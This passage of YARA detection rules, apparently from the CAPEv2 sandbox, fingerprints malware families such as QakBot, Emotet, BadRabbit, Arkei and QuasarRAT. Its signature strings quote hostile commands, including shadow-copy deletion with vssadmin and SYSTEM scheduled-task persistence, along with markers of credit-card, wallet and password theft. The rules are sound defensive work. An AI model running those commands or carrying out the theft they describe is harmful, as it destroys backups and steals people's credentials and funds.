		id = "edf08795-cf54-5822-8bc4-35cfba0fe8e8"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Cerber.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "16a8f808c28d3b142c079a305aba7f553f2452e439710bf610a06f8f2924d5a3"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Cerber Payload"
	strings:
		$code1 = {33 C0 66 89 45 8? 8D 7D 8? AB AB AB AB AB [0-2] 66 AB 8D 45 8? [0-3] E8 ?? ?? 00 00}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}


rule CAPE_Qakbot5_1 : FILE
{
	meta:
		description = "QakBot v5 Payload"
		author = "kevoreilly, enzok"
		id = "48866cdd-f60e-50b8-85f9-573710934b0b"
		date = "2019-10-30"
		modified = "2024-04-28"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/QakBot.yar#L1-L15"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "59559e97962e40a15adb2237c4d01cfead03623aff1725616caeaa5a8d273a35"
		logic_hash = "cc23a92f45619d44af824128b743c259dd9dfa7cb5106932f3425f3dfd1dccdf"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "QakBot Payload"
		packed = "f4bb0089dcf3629b1570fda839ef2f06c29cbf846c5134755d22d419015c8bd2"
	strings:
		$loop = {8B 75 ?? 48 8B 4C [2] FF 15 [4] 48 8B 4C [2] 48 8B 01 FF 50 ?? 8B DE 48 8B 4C [2] 48 85 C9 0F 85 [4] EB 4E}
		$c2list = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 45 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8}
		$campaign = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 44 24 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}


rule CAPE_Atlas : FILE
{
	meta:
		description = "Atlas Payload"
		author = "kevoreilly"
		id = "22322e5c-ded6-56df-8a39-a8f5cbc18239"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Atlas.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "c3f73b29df5caf804dbfe3e6ac07a9e2c772bd2a126f0487e4a65e72bd501e6e"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Atlas Payload"
	strings:
		$a1 = "bye.bat"
		$a2 = "task=knock&id=%s&ver=%s x%s&disks=%s&other=%s&ip=%s&pub="
		$a3 = "process call create \"cmd /c start vssadmin delete shadows /all /q"
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Nanolocker : FILE
{
	meta:
		description = "NanoLocker Payload"
		author = "kevoreilly"
		id = "6fff6a27-a153-5461-9a75-2253c2f7d408"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/NanoLocker.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "fe6c8a4e259c3c526f8f50771251f6762b2b92a4df2e8bfc705f282489f757db"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "NanoLocker Payload"
	strings:
		$a1 = "NanoLocker"
		$a2 = "$humanDeadline"
		$a3 = "Decryptor.lnk"
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Nightshadec2 : FILE
{
	meta:
		description = "NightshadeC2 AKA CastleRAT - https://x.com/YungBinary/status/1963751038340534482"
		author = "YungBinary"
		id = "d70f9051-c7ab-537a-ab80-03ae7ef80b81"
		date = "2025-09-04"
		modified = "2025-09-12"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/NightshadeC2.yar#L1-L20"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "963c012d56c62093d105ab5044517fdcce4ab826f7782b3e377932da1df6896d"
		logic_hash = "f9fabc391e21180a1c92abea0a5ded6d7669e8d8f2330b69d6c1227c9b4237a0"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "NightshadeC2 Payload"
	strings:
		$s1 = "keylog.txt" fullword wide
		$s2 = "\"%ws\" --mute-audio --do-not-de-elevate" fullword wide
		$s3 = "\"%ws\" -no-deelevate" fullword wide
		$s4 = "MachineGuid" fullword wide
		$s5 = "www.ip-api.com" fullword wide
		$s6 = "rundll32 \"C:\\Windows\\System32\\shell32.dll\" #61" fullword wide
		$s7 = "IsabellaWine" fullword wide
		$s8 = "Shell_TrayWnd" fullword wide
	condition:
		uint16( 0 ) == 0x5A4D and 3 of them
}

rule CAPE_Scarab : FILE
{
	meta:
		description = "Scarab Payload"
		author = "kevoreilly"
		id = "2ba8ae50-1e56-5773-aaea-058161b59c78"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Scarab.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "0d8fa7ab4c8e5699f17f9e9444e85a42563a840a8e7ee9eda54add3a6845d1c6"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Scarab Payload"
	strings:
		$crypt1 = {8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08 33 D8 8B C3 42 8B D8 32 1A 0F B6 DB 8B 1C 9F C1 E8 08}
		$crypt2 = {8B 4C 82 0C 8B D9 C1 E3 18 C1 E9 08 0B D9 8B CB 0F B6 D9 8B 1C 9D AC 0C 43 00 89 5C 24 04 8B D9 C1 EB 08 0F B6 DB 8B 34 9D AC 0C 43 00 8B D9 C1 EB 10}
		$crypt3 = {8B 13 8B CA 81 E1 80 80 80 80 8B C1 C1 E8 07 50 8B C1 59 2B C1 25 1B 1B 1B 1B 8B CA 81 E1 7F 7F 7F 7F 03 C9 33 C1 8B C8 81 E1 80 80 80 80 8B F1 C1 EE 07}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Emotetloader : FILE
{
	meta:
		description = "Emotet Loader"
		author = "kevoreilly"
		id = "aea8ff2e-bdf7-5417-a41c-93566d1dd019"
		date = "2022-05-31"
		modified = "2022-05-31"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/EmotetLoader.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "410872d25ed3a89a2cba108f952d606cd1c3bf9ccc89ae6ab3377b83665c2773"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "EmotetLoader Payload"
	strings:
		$antihook = {8B 15 ?? ?? ?? ?? 03 15 ?? ?? ?? ?? 89 95 28 FF FF FF A1 ?? ?? ?? ?? 2D 4D 01 00 00 A3 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 3B 0D ?? ?? ?? ?? 76 26 8B 95 18 FF FF FF 8B 42 38}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Badrabbit : FILE
{
	meta:
		description = "BadRabbit Payload"
		author = "kevoreilly"
		id = "c7204772-6f14-57b7-88c1-e9156f9897d5"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/BadRabbit.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "309e14ab4ea2f919358631f9d8b2aaff1f51e7708b6114e4e6bf4a9d9a5fc86c"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "BadRabbit Payload"
	strings:
		$a1 = "caforssztxqzf2nm.onion" wide
		$a2 = "schtasks /Create /SC once /TN drogon /RU SYSTEM" wide
		$a3 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal" wide
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Tclient : FILE
{
	meta:
		description = "TClient Payload"
		author = "kevoreilly"
		id = "38c9ea20-9d91-5fb0-8b3b-170538ad7ea8"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/TClient.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "6edcd01e4722b367723ed77d9596877d16ee35dc4c160885d125f83e45cee24d"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "TClient Payload"
	strings:
		$code1 = {41 0F B6 00 4D 8D 40 01 34 01 8B D7 83 E2 07 0F BE C8 FF C7 41 0F BE 04 91 0F AF C1 41 88 40 FF 81 FF 80 03 00 00 7C D8}
	condition:
		uint16( 0 ) == 0x5A4D and any of ( $code* )
}

rule CAPE_Zeuspanda : FILE
{
	meta:
		description = "ZeusPanda Payload"
		author = "kevoreilly"
		id = "7891c021-6687-5457-b9e1-0beb0472647c"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/ZeusPanda.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "43d8a56cae9fd23c053f6956851734d3270b46a906236854502c136e3bb1e761"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "ZeusPanda Payload"
	strings:
		$code1 = {8B 01 57 55 55 55 55 55 55 53 51 FF 50 0C 85 C0 78 E? 55 55 6A 03 6A 03 55 55 6A 0A FF 37}
		$code2 = {8D 85 B0 FD FF FF 50 68 ?? ?? ?? ?? 8D 85 90 FA FF FF 68 0E 01 00 00 50 E8 ?? ?? ?? ?? 83 C4 10 83 F8 FF 7E ?? 68 04 01 00 00 8D 85 B0 FD FF FF}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}


rule CAPE_Fareit : FILE
{
	meta:
		description = "Fareit Payload"
		author = "kevoreilly"
		id = "b3c4eb86-d104-5f31-afa4-5bf5f370f64e"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Fareit.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "ed35391ffc949219f380da3f22bc8397a7d5c742bd68e227c3becdebcab5cf83"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Fareit Payload"
	strings:
		$string1 = {0D 0A 09 09 0D 0A 0D 0A 09 20 20 20 3A 6B 74 6B 20 20 20 0D 0A 0D 0A 0D 0A 20 20 20 20 20 64 65 6C 20 20 20 20 09 20 25 31 20 20 0D 0A 09 69 66 20 20 09 09 20 65 78 69 73 74 20 09 20 20 20 25 31 20 20 09 20 20 67 6F 74 6F 20 09 0D 20 6B 74 6B 0D 0A 20 64 65 6C 20 09 20 20 25 30 20 00}
	condition:
		uint16( 0 ) == 0x5A4D and any of ( $string* )
}

rule CAPE_Kpot : FILE
{
	meta:
		description = "Kpot Stealer"
		author = "kevoreilly"
		id = "724fd6ac-e734-5952-b459-01cbaffdb89d"
		date = "2020-10-19"
		modified = "2020-10-19"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Kpot.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "75abaab9a10e8ac8808425c389238285ab9bd9cb76f0cd03cc1e35b3ea0a1b0f"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Kpot Payload"
	strings:
		$format = "%s | %s | %s | %s | %s | %s | %s | %d | %s"
		$username = "username:s:"
		$os = "OS: %S x%d"
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule CAPE_Hermes : FILE
{
	meta:
		description = "Hermes Payload"
		author = "kevoreilly"
		id = "0ff44422-9c14-517b-9e71-8e9e19694f06"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Hermes.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "9bc974173f39a57e7adfbf8ae106a20d960557696b4c3ce16e9b4e47d3e9e95b"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Hermes Payload"
	strings:
		$ext = ".HRM" wide
		$vss = "vssadmin Delete"
		$email = "supportdecrypt@firemail.cc" wide
	condition:
		uint16( 0 ) == 0x5A4D and all of ( $* )
}

rule CAPE_Stealc : FILE
{
	meta:
		description = "Stealc Payload"
		author = "kevoreilly"
		id = "77567584-7c84-5351-938b-d29d612a042d"
		date = "2023-02-22"
		modified = "2025-08-21"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Stealc.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d"
		logic_hash = "a6165168b7c74761b91d1691465688c748227b830813067edb4e9bdc934271c4"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Stealc Payload"
	strings:
		$nugget1 = {68 04 01 00 00 6A 00 FF 15 [4] 50 FF 15}
		$nugget2 = {64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 89 45 FC}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Stealcv2 : FILE
{
	meta:
		description = "Stealc V2 Payload"
		author = "kevoreilly"
		id = "0f72c468-9485-5e29-b29a-7dfc3e579e02"
		date = "2023-02-22"
		modified = "2025-08-21"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Stealc.yar#L15-L32"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "911c6a7f63e91a788898f3cc6e66396e39d5bd48f8fbaac49ee5dbbdaa64d5a0"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Stealc Payload"
		packed = "2f42dcf05dd87e6352491ff9d4ea3dc3f854df53d548a8da0c323be42df797b6"
		packed = "8301936f439f43579cffe98e11e3224051e2fb890ffe9df680bbbd8db0729387"
	strings:
		$decode32 = {AB AB AB AB 8B 45 0C 89 4E 10 89 4E 14 39 45 08 75 0B C7 46 14 0F 00 00 00 88 0E EB 0F 2B 45 08 50 51 FF 75 ?? 8B}
		$dump32 = {33 C0 89 46 30 88 46 34 89 46 38 89 46 3C 89 46 40 89 46 44 89 46 48 89 46 4C 89 46 50 89 46 54 89 46 58 8B C6 5F 5E C3}
		$date32 = {F3 A5 8D 45 ?? 50 E8 [4] 59 8B F8 8B F2 8D 45 A4 50 E8 [4] 59 3B F2 7C 08 7F 04 3B F8 76 02 B3 01 8A C3}
		$decode64 = {40 53 48 83 EC 20 48 8B 19 48 85 DB 74 ?? 48 8B 53 18 48 83 FA 0F 76 2C 48 8B 0B 48 FF C2 48 81 FA 00 10 00 00 72}
		$dump64 = {48 8B C7 89 6F 40 40 88 6F 44 48 89 6F 48 48 89 6F 50 48 89 6F 58 48 89 6F 60 48 89 6F 68 48 89 6F 70 48 89 6F 78 48 89}
		$date64 = {0F 11 44 [2] 0F 11 8C [2] 00 00 00 89 8C [2] 00 00 00 48 8D 4C [2] E8 [4] 48 8B D8 48 8D 4C [2] E8 [4] 48 3B D8 0F 9F C0}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule CAPE_Arkei : FILE
{
	meta:
		description = "Arkei Payload"
		author = "kevoreilly, YungBinary"
		id = "18363a5b-46f3-5d11-9bc6-a91f81b49706"
		date = "2019-10-30"
		modified = "2025-01-10"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Arkei.yar#L1-L50"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "296e420880d8d2f24424d0411e7ef4939e18147689557512f410da48498a44c9"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Arkei Payload"
	strings:
		$string1 = "Windows_Antimalware_Host_System_Worker"
		$string2 = "Arkei"
		$string3 = "Bitcoin\\wallet.dat"
		$string4 = "Ethereum\\keystore"
		$v1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide
		$v2 = "/c taskkill /im " fullword ascii
		$v3 = "card_number_encrypted FROM credit_cards" ascii
		$v4 = "\\wallet.dat" ascii
		$v5 = "Arkei/" wide
		$v6 = "files\\passwords." ascii wide
		$v7 = "files\\cc_" ascii wide
		$v8 = "files\\autofill_" ascii wide
		$v9 = "files\\cookies_" ascii wide
		$loaded_modules = {
            64 A1 30 00 00 00
            8B 40 0C
            8B 40 0C
            8B 00
            8B 00
            8B 40 18
            89 45 FC
            8B 45 FC
            8B E5
            5D
            C3
        }
		$language_check = {
            FF 15 ?? ?? ?? ??
            0F B7 C0
            89 45 ??
            81 7D ?? 3F 04 ?? ??
            7F
        }
		$ext1 = ".zoo" ascii
		$ext2 = ".arc" ascii
	condition:
		uint16( 0 ) == 0x5A4D and ( ( $loaded_modules and $language_check and $ext1 and $ext2 ) or ( all of ( $string* ) or 7 of ( $v* ) ) )
}

rule CAPE_Gandcrab : FILE
{
	meta:
		description = "Gandcrab Payload"
		author = "kevoreilly"
		id = "0082e8c9-952e-508c-a438-4e17b8031864"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Gandcrab.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "354ed566dbafbe8e9531bb771d9846952eb8c0e70ee94c26d09368159ce4142c"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Gandcrab Payload"
	strings:
		$string1 = "GDCB-DECRYPT.txt" wide
		$string2 = "GandCrabGandCrabnomoreransom.coinomoreransom.bit"
		$string3 = "action=result&e_files=%d&e_size=%I64u&e_time=%d&" wide
		$string4 = "KRAB-DECRYPT.txt" wide
	condition:
		uint16( 0 ) == 0x5A4D and any of ( $string* )
}

rule CAPE_Vipkeylogger : FILE
{
	meta:
		description = "Detects VIPKeyLogger Keylogger"
		author = "kevoreilly"
		id = "71606fcc-89b4-519a-833a-b6cb4b569cb8"
		date = "2025-09-11"
		modified = "2025-09-11"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/VIPKeyLogger.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "b9dba7562bba4807c0789692d44650996e62c8d0c4031dedd65773877621b1de"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "VIPKeyLogger Payload"
		packed = "edaba79c3d43a416a86003f336d879ed3a513aa24dd401340584615647ed6da2"
	strings:
		$s1 = "/ VIP Recovery \\" wide
		$s2 = "Clipboard Logs ID" wide
		$s3 = "Keylogger" wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule CAPE_Kovter : FILE
{
	meta:
		description = "Kovter Payload"
		author = "kevoreilly"
		id = "3dec3c4b-4678-5ed1-a4c3-c3d9abb58b1c"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Kovter.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "888fccb8fbfbe6c05ec63bc5658b4743f8e10a96ef51b3868c2ff94afec76f2d"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Kovter Payload"
	strings:
		$a1 = "chkok"
		$a2 = "k2Tdgo"
		$a3 = "13_13_13"
		$a4 = "Win Server 2008 R2"
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Locky : FILE
{
	meta:
		description = "Locky Payload"
		author = "kevoreilly"
		id = "664d0365-af49-5222-a4ed-9260332f6940"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Locky.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "9786c54a2644d9581fefe64be11b26e22806398e54e961fa4f19d26eae039cd7"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Locky Payload"
	strings:
		$string1 = "wallet.dat" wide
		$string2 = "Locky_recover" wide
		$string3 = "opt321" wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Obfuscar : FILE
{
	meta:
		description = "Obfuscar xor routime"
		author = "kevoreilly"
		id = "81eeb62f-578f-5c75-bc96-091d5727a20a"
		date = "2025-03-07"
		modified = "2025-03-07"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Obfuscar.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "54581e83e5fa13fae4bda74016b3fa1d18c92e2659f493ebe54d70fd5f77bba5"
		score = 75
		quality = 70
		tags = "FILE"
	strings:
		$decode = {06 91 06 61 20 [4] 61 D2 9C 06 17 58 0A 06 7E [4] 8E 69 FE 04 2D ?? 2A}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Mole : FILE
{
	meta:
		description = "Mole Payload"
		author = "kevoreilly"
		id = "1185170f-4a5b-5347-807b-ef2af98a1a09"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Mole.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "8be4d190d554a610360c0e04b33da59eb00319395e5b2000d580546ce6503786"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Mole Payload"
	strings:
		$a1 = ".mole0" wide
		$a2 = "_HELP_INSTRUCTION.TXT" wide
		$a3 = "-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ"
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Quasarrat : FILE
{
	meta:
		description = "QuasarRAT payload"
		author = "ditekshen"
		id = "f256b88f-eee6-5f8c-afd6-32ed10ea908d"
		date = "2024-10-09"
		modified = "2025-02-03"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/AsyncRAT.yar#L245-L266"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "556b19dc0980761198ea31a285f281adae084463d24bff1eda15326436ad562b"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "QuasarRAT Payload"
	strings:
		$s1 = "GetKeyloggerLogsResponse" fullword ascii
		$s2 = "GetKeyloggerLogs" fullword ascii
		$s3 = "/>Log created on" wide
		$s4 = "User: {0}{3}Pass: {1}{3}Host: {2}" wide
		$s5 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide
		$s6 = "grabber_" wide
		$s7 = "<virtualKeyCode>" ascii
		$s8 = "<RunHidden>k__BackingField" fullword ascii
		$s9 = "<keyboardHookStruct>" ascii
		$s10 = "add_OnHotKeysDown" ascii
		$mutex = "QSR_MUTEX_" ascii wide
		$ua1 = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0" fullword wide
		$us2 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( $mutex or ( all of ( $ua* ) and 2 of them ) or 6 of ( $s* ) )
}

rule CAPE_Nemty : FILE
{
	meta:
		description = "Nemty Ransomware Payload"
		author = "kevoreilly"
		id = "3aa8e1d7-f9cb-5b04-923d-7bed15ab8c3f"
		date = "2020-04-03"
		modified = "2020-04-03"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Nemty.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "a05974b561c67b4f1e0812639b74831edcf65686a06c0d380f0b45739e342419"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Nemty Payload"
	strings:
		$tordir = "TorDir"
		$decrypt = "DECRYPT.txt"
		$nemty = "NEMTY"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Bitpaymer : FILE
{
	meta:
		description = "BitPaymer Payload"
		author = "kevoreilly"
		id = "c139b514-a1ba-5d47-8f4d-8e60cddfe2ba"
		date = "2019-11-27"
		modified = "2019-11-27"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/BitPaymer.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "6ae0dc9a36da13e483d8d653276b06f59ecc15c95c754c268dcc91b181677c4c"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "BitPaymer Payload"
	strings:
		$decrypt32 = {6A 40 58 3B C8 0F 4D C1 39 46 04 7D 50 53 57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF C0 47 F7 DF 99 1B FF 83 E2 3F 03 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57}
		$antidefender = "TouchMeNot" wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Seduploader : FILE
{
	meta:
		description = "Seduploader decrypt function"
		author = "kevoreilly"
		id = "a7152d8c-a197-5784-8a6d-453d41585df1"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
